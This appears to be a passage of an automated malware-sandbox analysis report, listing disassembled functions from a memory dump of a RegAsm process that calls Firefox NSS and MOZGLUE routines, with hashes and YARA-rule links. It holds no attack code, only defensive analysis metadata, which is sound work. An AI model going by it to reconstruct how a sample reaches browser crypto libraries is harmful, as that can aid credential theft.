Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: Value$calloc$CondCriticalEnterSectionUnlockWait
String ID:
API String ID: 2759447159-0
Opcode ID: db53bebbd49ddbb06d3e411f291a1f6fe84fc2a6a6a0ff9798b67a2fbeeee443
Instruction ID: 805eefcaea2311c41405e8d6aae932fcc63885f3e2aac1a03fab5cc4727bed92
Opcode Fuzzy Hash: db53bebbd49ddbb06d3e411f291a1f6fe84fc2a6a6a0ff9798b67a2fbeeee443
Instruction Fuzzy Hash: 1B216DB4A046058FDB00EF79C884D6ABBF4FF06309F11466ADC9497B19E734D495CBA2

Function 6C4328A0 Relevance: 7.6, APIs: 5, Instructions: 66COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6C4280DD), ref: 6C4328BA
EnterCriticalSection.KERNEL32(?,?,?,?,6C4280DD), ref: 6C4328D3
PR_Unlock.NSS3(?,?,?,?,?,6C4280DD), ref: 6C4328E8
DeleteCriticalSection.KERNEL32(?,?,?,?,?,6C4280DD), ref: 6C43290E
free.MOZGLUE(?,?,?,?,?,?,6C4280DD), ref: 6C43291A

Part of subcall function 6C429270: DeleteCriticalSection.KERNEL32(?,?,6C435089,?,6C433B70,?,?,?,?,?,6C435089,6C42F39B,00000000), ref: 6C42927F
Part of subcall function 6C429270: free.MOZGLUE(?,?,6C433B70,?,?,?,?,?,6C435089,6C42F39B,00000000), ref: 6C429286
Part of subcall function 6C429270: PL_HashTableDestroy.NSS3(?,6C433B70,?,?,?,?,?,6C435089,6C42F39B,00000000), ref: 6C429292

Part of subcall function 6C428B50: TlsGetValue.KERNEL32(00000000,?,6C430948,00000000), ref: 6C428B6B
Part of subcall function 6C428B50: EnterCriticalSection.KERNEL32(?,?,?,6C430948,00000000), ref: 6C428B80
Part of subcall function 6C428B50: PL_FinishArenaPool.NSS3(?,?,?,?,6C430948,00000000), ref: 6C428B8F
Part of subcall function 6C428B50: PR_Unlock.NSS3(?,?,?,?,6C430948,00000000), ref: 6C428BA1
Part of subcall function 6C428B50: DeleteCriticalSection.KERNEL32(?,?,?,?,6C430948,00000000), ref: 6C428BAC
Part of subcall function 6C428B50: free.MOZGLUE(?,?,?,?,?,6C430948,00000000), ref: 6C428BB8

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: CriticalSection$Deletefree$EnterUnlockValue$ArenaDestroyFinishHashPoolTable
String ID:
API String ID: 3225375108-0
Opcode ID: 19eff5bc7b4a488b1b505ead4ebc83dd9ab4ceb3541e859f0837bb7846558c3c
Instruction ID: 2c92b02a41aeb52085265bfa6311f4fbfd6a24ea97e4bc4ce7bfa55f59b8c6c0
Opcode Fuzzy Hash: 19eff5bc7b4a488b1b505ead4ebc83dd9ab4ceb3541e859f0837bb7846558c3c
Instruction Fuzzy Hash: 2C214AB5A04A158BCB00EF79C489C69BBF0FF49314F024969DC989B701EB34E895CBD2

Function 6C4009E0 Relevance: 7.6, APIs: 5, Instructions: 64COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,?,?,?,6C4006A2,00000000,?), ref: 6C4009F8
malloc.MOZGLUE(0000001F), ref: 6C400A18
memcpy.VCRUNTIME140(?,?,00000001), ref: 6C400A33

Part of subcall function 6C4007A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C39204A), ref: 6C4007AD
Part of subcall function 6C4007A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C39204A), ref: 6C4007CD
Part of subcall function 6C4007A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C39204A), ref: 6C4007D6
Part of subcall function 6C4007A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C39204A), ref: 6C4007E4
Part of subcall function 6C4007A0: TlsSetValue.KERNEL32(00000000,?,6C39204A), ref: 6C400864
Part of subcall function 6C4007A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C400880
Part of subcall function 6C4007A0: TlsSetValue.KERNEL32(00000000,?,?,6C39204A), ref: 6C4008CB
Part of subcall function 6C4007A0: TlsGetValue.KERNEL32(?,?,6C39204A), ref: 6C4008D7
Part of subcall function 6C4007A0: TlsGetValue.KERNEL32(?,?,6C39204A), ref: 6C4008FB

PR_Free.NSS3(?), ref: 6C400A6C
PR_Free.NSS3(?), ref: 6C400A87

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: Value$Freecalloc$mallocmemcpy
String ID:
API String ID: 207547555-0
Opcode ID: 71bf7bd041ccf23c9cf588303f855bc17002678706355dbc63dbf130ccef1077
Instruction ID: 349af6a9fd81f25099662c6d8ec6ef0584c71373603528c65c4943df19fad9a5
Opcode Fuzzy Hash: 71bf7bd041ccf23c9cf588303f855bc17002678706355dbc63dbf130ccef1077
Instruction Fuzzy Hash: F11102B1A40A808BEB10DF29CD86F5377A8BB61309F40553ADC1A82E00EB31F454CBA0

Function 6C428FE0 Relevance: 7.6, APIs: 5, Instructions: 63threadCOMMON

Download Yara Rule

APIs

PR_GetThreadPrivate.NSS3(FFFFFFFF,?,6C430710), ref: 6C428FF1
PR_CallOnce.NSS3(6C572158,6C429150,00000000,?,?,?,6C429138,?,6C430710), ref: 6C429029
calloc.MOZGLUE(00000001,00000000,?,?,6C430710), ref: 6C42904D
memcpy.VCRUNTIME140(00000000,00000000,00000000,?,?,?,?,6C430710), ref: 6C429066
PR_SetThreadPrivate.NSS3(00000000,?,?,?,?,6C430710), ref: 6C429078

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: PrivateThread$CallOncecallocmemcpy
String ID:
API String ID: 1176783091-0
Opcode ID: 23270cf2fcd5f1da801945c9c52a5a953dc151cb229136c910cb169cd3f8787a
Instruction ID: 9f2629f8cd1243e1e9783b18b36474d13f974f0f269e8192b1c9c81e88db0f6d
Opcode Fuzzy Hash: 23270cf2fcd5f1da801945c9c52a5a953dc151cb229136c910cb169cd3f8787a
Instruction Fuzzy Hash: F511253170012557EB20AA6EAC05E66B2B8EB927AEF010135FC84C6B81F75BCC8583F5

Function 6C43CD80 Relevance: 7.6, APIs: 5, Instructions: 60COMMON

Download Yara Rule

APIs

Part of subcall function 6C451E10: TlsGetValue.KERNEL32 ref: 6C451E36
Part of subcall function 6C451E10: EnterCriticalSection.KERNEL32(?,?,?,6C42B1EE,2404110F,?,?), ref: 6C451E4B
Part of subcall function 6C451E10: PR_Unlock.NSS3 ref: 6C451E76

free.MOZGLUE(?,6C43D079,00000000,00000001), ref: 6C43CDA5
PK11_FreeSymKey.NSS3(?,6C43D079,00000000,00000001), ref: 6C43CDB6
SECITEM_ZfreeItem_Util.NSS3(?,00000001,6C43D079,00000000,00000001), ref: 6C43CDCF
DeleteCriticalSection.KERNEL32(?,6C43D079,00000000,00000001), ref: 6C43CDE2
free.MOZGLUE(?), ref: 6C43CDE9

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: CriticalSectionfree$DeleteEnterFreeItem_K11_UnlockUtilValueZfree
String ID:
API String ID: 1720798025-0
Opcode ID: bdec3ad5d7c16375aca59fe71e8a440da93beb8ff2caa3bf08876b3465fe50be
Instruction ID: 376fbd22cb1626f63affff37b9f4e9afe818527fe2b8a2756fcd6604f7c3df02
Opcode Fuzzy Hash: bdec3ad5d7c16375aca59fe71e8a440da93beb8ff2caa3bf08876b3465fe50be
Instruction Fuzzy Hash: A61191B2B01121ABDE01EA66EC45D967769FF4825A7100221F90D87E11E732F434C7E1

Function 6C4A2CC0 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6C4A5B40: PR_GetIdentitiesLayer.NSS3 ref: 6C4A5B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C4A2CEC

Part of subcall function 6C4BC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C4BC2BF

PR_EnterMonitor.NSS3(?), ref: 6C4A2D02
PR_EnterMonitor.NSS3(?), ref: 6C4A2D1F
PR_ExitMonitor.NSS3(?), ref: 6C4A2D42
PR_ExitMonitor.NSS3(?), ref: 6C4A2D5B

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction ID: 48a010e612baecd558d76d1fa73846dffa56934841a012fc92da64832cf82c59
Opcode Fuzzy Hash: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction Fuzzy Hash: 6C0144B1A102006BE631DE66FC40FC7B3B1EF61348F004429E85E86721EA32F916D7D2

Function 6C4A2D70 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6C4A5B40: PR_GetIdentitiesLayer.NSS3 ref: 6C4A5B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C4A2D9C

Part of subcall function 6C4BC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C4BC2BF

PR_EnterMonitor.NSS3(?), ref: 6C4A2DB2
PR_EnterMonitor.NSS3(?), ref: 6C4A2DCF
PR_ExitMonitor.NSS3(?), ref: 6C4A2DF2
PR_ExitMonitor.NSS3(?), ref: 6C4A2E0B

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction ID: b5b8e0932b880abbd27a551c7e7c568dcd517cf164fc7b8d5d9a75aeff3abb10
Opcode Fuzzy Hash: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction Fuzzy Hash: CB0104B5A006006BEA31DE66FC00FC7B7B1EF61358F004438E94D96B11DA32F826D6E2

Function 6C43AE30 Relevance: 7.6, APIs: 5, Instructions: 54COMMON

Download Yara Rule

APIs

Part of subcall function 6C423090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C43AE42), ref: 6C4230AA
Part of subcall function 6C423090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C4230C7
Part of subcall function 6C423090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6C4230E5
Part of subcall function 6C423090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C423116
Part of subcall function 6C423090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C42312B
Part of subcall function 6C423090: PK11_DestroyObject.NSS3(?,?), ref: 6C423154
Part of subcall function 6C423090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C42317E

SECKEY_DestroyPublicKey.NSS3(00000000,?,00000000,?,6C4199FF,?,?,?,?,?,?,?,?,?,6C412D6B,?), ref: 6C43AE67
SECITEM_DupItem_Util.NSS3(-00000014,?,00000000,?,6C4199FF,?,?,?,?,?,?,?,?,?,6C412D6B,?), ref: 6C43AE7E
SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,6C412D6B,?,?,00000000), ref: 6C43AE89
PK11_MakeIDFromPubKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,6C412D6B,?,?,00000000), ref: 6C43AE96
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,?,6C412D6B,?,?), ref: 6C43AEA3

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: Util$DestroyItem_$Arena_K11_Public$AlgorithmAlloc_ArenaCopyFreeFromMakeObjectTag_Zfreememset
String ID:
API String ID: 754562246-0
Opcode ID: 4e27026a34b39b3674587efeaf96a2d94e54be6ff22b6626a534d16d2a6c7f4c
Instruction ID: 974f1482d6f708654c8c1bb316e8d8c8ab138e883939d38ca352e1c55a90b63e
Opcode Fuzzy Hash: 4e27026a34b39b3674587efeaf96a2d94e54be6ff22b6626a534d16d2a6c7f4c
Instruction Fuzzy Hash: 2101D666BD403057EB01D1EEAC87F9B31588FDB66DB081035E90EC7B81F616D90643E2

Function 6C520930 Relevance: 7.5, APIs: 5, Instructions: 45fileCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,00000000,?,6C520C83), ref: 6C52094F
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?,?,6C520C83), ref: 6C520974
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C520983
_PR_MD_UNLOCK.NSS3(?,?,6C520C83), ref: 6C52099F
OutputDebugStringA.KERNEL32(?,?,6C520C83), ref: 6C5209B2

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: CriticalDebugEnterOutputSectionStringfflushfwrite
String ID:
API String ID: 1872382454-0
Opcode ID: e72c5580fc30105da2effc5a12c60fbc41882618efbb4e0e50fa347301c57b47
Instruction ID: 051566d0d2ccf8d6ed64070b30d3db91ee0b6638bf952a34e8816f1bad66679e
Opcode Fuzzy Hash: e72c5580fc30105da2effc5a12c60fbc41882618efbb4e0e50fa347301c57b47
Instruction Fuzzy Hash: 390121747021609FDF02AF28CC75F563BB8AB47718F1A4116F84A87B92D735E490CA29

Function 6C52ADF0 Relevance: 7.5, APIs: 5, Instructions: 35COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(6C52A6D8), ref: 6C52AE0D
free.MOZGLUE(?), ref: 6C52AE14
DeleteCriticalSection.KERNEL32(6C52A6D8), ref: 6C52AE36
free.MOZGLUE(?), ref: 6C52AE3D
free.MOZGLUE(00000000,00000000,?,?,6C52A6D8), ref: 6C52AE47

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: free$CriticalDeleteSection
String ID:
API String ID: 682657753-0
Opcode ID: 3c9e5479c3f901cc618c5b4f99c2adfd3a13bcbc5fd9c5df5c0a5a461f246131
Instruction ID: 766f7d1feb141143626572f12c34d333b9405c2ba074ddad99dc20398aee63fb
Opcode Fuzzy Hash: 3c9e5479c3f901cc618c5b4f99c2adfd3a13bcbc5fd9c5df5c0a5a461f246131
Instruction Fuzzy Hash: 87F0C2B5201A01A7CF00DF699C0892B77B8FF866747110329E12A87990E735F012C7D9

Function 6C3A88D0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(00000000,00000000,01DC7D83), ref: 6C3A8990

Strings

@z;l, xrefs: 6C3A8A31

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: memset
String ID: @z;l
API String ID: 2221118986-2608900332
Opcode ID: 76d8da0f125688b95b8ab006d3004a741a78334736f46a5b7600fd0c0aedd02f
Instruction ID: e87565e8f4102652be081bd5d73c1cb3323882ea7766715d2046b635cdab2aab
Opcode Fuzzy Hash: 76d8da0f125688b95b8ab006d3004a741a78334736f46a5b7600fd0c0aedd02f
Instruction Fuzzy Hash: 6351D471A057819FC704CF64C4946A6BBF0BF59308B24929DC8885BB02D376F5A6CFE2

Function 6C3A6C90 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 76COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000134E5,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?), ref: 6C3A6D36

Strings

database corruption, xrefs: 6C3A6D2A
%s at line %d of [%.10s], xrefs: 6C3A6D2F
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C3A6D20

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: 9bf6480459993014a94946e2a10789b91aa8a43406df2ddd4cbe5bfb667d63a6
Instruction ID: ac5ad0115d4facf646b0aca0858b4592364a35f6e182df78ac632b3772e0f9ba
Opcode Fuzzy Hash: 9bf6480459993014a94946e2a10789b91aa8a43406df2ddd4cbe5bfb667d63a6
Instruction Fuzzy Hash: 3321F1706047059BC710CE6DC841B5AB7F6EF84348F148A2DD88A9BF51E371F95A8FA2

Function 6C482FD0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 66memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,-000000D4,00000000,?,<+Hl,6C4832C2,<+Hl,00000000,00000000,?), ref: 6C482FDA

Part of subcall function 6C4714C0: TlsGetValue.KERNEL32 ref: 6C4714E0
Part of subcall function 6C4714C0: EnterCriticalSection.KERNEL32 ref: 6C4714F5
Part of subcall function 6C4714C0: PR_Unlock.NSS3 ref: 6C47150D

PORT_ArenaAlloc_Util.NSS3(?,-00000007), ref: 6C48300B

Part of subcall function 6C4710C0: TlsGetValue.KERNEL32(?,6C418802,00000000,00000008,?,6C40EF74,00000000), ref: 6C4710F3
Part of subcall function 6C4710C0: EnterCriticalSection.KERNEL32(?,?,6C418802,00000000,00000008,?,6C40EF74,00000000), ref: 6C47110C
Part of subcall function 6C4710C0: PL_ArenaAllocate.NSS3(?,?,?,6C418802,00000000,00000008,?,6C40EF74,00000000), ref: 6C471141
Part of subcall function 6C4710C0: PR_Unlock.NSS3(?,?,?,6C418802,00000000,00000008,?,6C40EF74,00000000), ref: 6C471182
Part of subcall function 6C4710C0: TlsGetValue.KERNEL32(?,6C418802,00000000,00000008,?,6C40EF74,00000000), ref: 6C47119C

SECOID_FindOIDByTag_Util.NSS3(00000010), ref: 6C48302A

Part of subcall function 6C470840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C4708B4

Part of subcall function 6C45C3D0: PK11_ImportPublicKey.NSS3(?,?,00000000), ref: 6C45C45D
Part of subcall function 6C45C3D0: TlsGetValue.KERNEL32 ref: 6C45C494
Part of subcall function 6C45C3D0: EnterCriticalSection.KERNEL32(?), ref: 6C45C4A9
Part of subcall function 6C45C3D0: PR_Unlock.NSS3(?), ref: 6C45C4F4

Strings

<+Hl, xrefs: 6C482FD0

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: Value$ArenaCriticalEnterSectionUnlockUtil$Alloc_AllocateErrorFindImportK11_Mark_PublicTag_
String ID: <+Hl
API String ID: 2538134263-3540375930
Opcode ID: 595581cd8a3e58213a728435827faa4a7978b5385ddb469e9c4028bda8901334
Instruction ID: 3ebf1bffc37112e7650503d040a48bb61034875e3b9ec21978165004d01f066a
Opcode Fuzzy Hash: 595581cd8a3e58213a728435827faa4a7978b5385ddb469e9c4028bda8901334
Instruction Fuzzy Hash: 3F11C4B6A012046BDB00CE649C01FDB77A9AB856A8F184138E81CD7780E772E915C7E1

Function 6C4DCC70 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 6C4DCD70: PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6C4DCC7B), ref: 6C4DCD7A
Part of subcall function 6C4DCD70: PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6C4DCD8E
Part of subcall function 6C4DCD70: PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6C4DCDA5
Part of subcall function 6C4DCD70: PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6C4DCDB8

PR_GetUniqueIdentity.NSS3(Ipv6_to_Ipv4 layer), ref: 6C4DCCB5
memcpy.VCRUNTIME140(6C5714F4,6C5702AC,00000090), ref: 6C4DCCD3
memcpy.VCRUNTIME140(6C571588,6C5702AC,00000090), ref: 6C4DCD2B

